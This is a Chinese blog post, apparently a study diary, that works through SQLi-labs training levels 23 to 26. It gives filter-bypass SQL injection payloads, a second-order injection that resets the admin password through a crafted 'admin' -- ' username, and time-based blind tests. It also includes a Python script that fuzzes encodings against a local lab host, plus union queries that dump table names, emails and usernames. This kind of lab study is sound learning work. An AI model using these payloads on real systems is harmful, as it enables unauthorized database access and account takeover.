「SQL注入入门篇」SQL注入(十二)

为什么我是web安全菜鸡啊!!!

Posted by 许大仙 on November 16, 2016

Less-23

Fuzz

?id=1’#+ 不起作用

?id=1’ 报错

怀疑可能过滤掉了注释符号,考虑用构造原本语句的方法绕过。

找到一个简单的判断方法,在加单引号以后加上%23和%24进行对比,发现%23这一URL编码没有出现#,说明被过滤了

Payload

?id=-1' union select 1,database(),user() or '1'='1

发现注释符号应该与后面被注释的内容隔开至少一个空格,否则注释不起作用。比如可以用+–+

突然发现很奇怪,因为有一列总是显示不出来,后来想到是语句里面的 limit 0,1 没有办法被注释掉

这题还有其他解法吗?求教各位(group_concat???)

Less-24

简直有毒==

概述

是一个比较完整的登录界面,有用户注册、用户登录的功能,登陆后可以修改密码。

审计一下源码,发现对在注册页面对注册用户名、原密码、新密码、确认密码都有过滤,更改密码页面对原密码、新密码有过滤,于是只剩下用户名可以用。

注意这里的过滤并非上一题的替代,只是转义而已。于是数据将会被以原来的形式保存进数据库,不会有删改,只是转义后在调用的时候不会有原来的效果。

Payload

  1. 注册名为admin' --的用户(注意在两个短线后面有一个空格
  2. 登录,更改密码

这里要复习一下之前讲过的更新数据的语句,语句是

UPDATE users SET PASSWORD='abc' where username='admin' and password='admin' ;

由于我们的用户名带有注释符号,于是就在更改时变成了

UPDATE users SET PASSWORD='abc' where username='admin' -- ' and password='admin' ;

成功改掉admin的密码

Less-25 & Less-25a

Fuzz

通过?id=1’ or1的方法对比Less1和Less25发现他们的区别,过滤掉了or和and

如果大小写敏感的话可以通过大小写绕过,然鹅这里不敏感,所以可以用数学符号绕过,或者双写(这个给满分)

Payload

  • or:
  • ||
  • oorr
  • and:
  • && (URL编码为%26%26)
  • anandd

简直精彩

Less-25a只是换成了盲注,可以用以下方法判断

?id=1 %26%26 sleep(10) ?id=-1 || sleep(10)

挂起则说明这样能够起作用

##Less-26

又开始玩花了,这次过滤的更全了

Fuzz

?id=%231 // 判断过滤了注释 ?id=%or1 // 判断过滤了or ?id=%and // 判断过滤了and ?id=/*1 // 过滤了斜杠和反斜杠 ?id=1’ ‘ ‘ // 过滤了空格

Payload

搞一个脚本来判断哪些可能可以用

# -*- coding: utf-8 -*-
import requests

def changeToHex(num):
tmp = hex(num).replace("0x",'')
if len(tmp)<2:
tmp = '0' + tmp
return "%"+tmp


for i in range(256):
i = changeToHex(i)
url = "http://192.168.137.129/sqli/Less-26/?id=1'" + i +"%26%26" + i + "'1'='1"
responce = requests.get(url)
if('Dumb') in responce.content:
print "%s works!" %i

结果

%09 works! // tab
%0a works! // linefeed
%0b works! // 不明(空格)
%0c works! // 不明(空格)
%0d works! // c return
%20 works! // space
%22 works! // 双引号
%23 works! //#
%27 works! //单引号
%2a works! //星号
%2d works! //减号
%2f works! //斜线
%5c works! //反斜线
%a0 works! //不明(空格)
?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables
%a0where%a0table_schema='security'%26%26%a0%271%27=%271

?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union
%a0select(1),2,'3

(留坑待填)

?id=0' union select 1,email_id,3 from emails where 1 && '1'='1 
?id=0' union select 1,username,3 from security.users where 1 && '1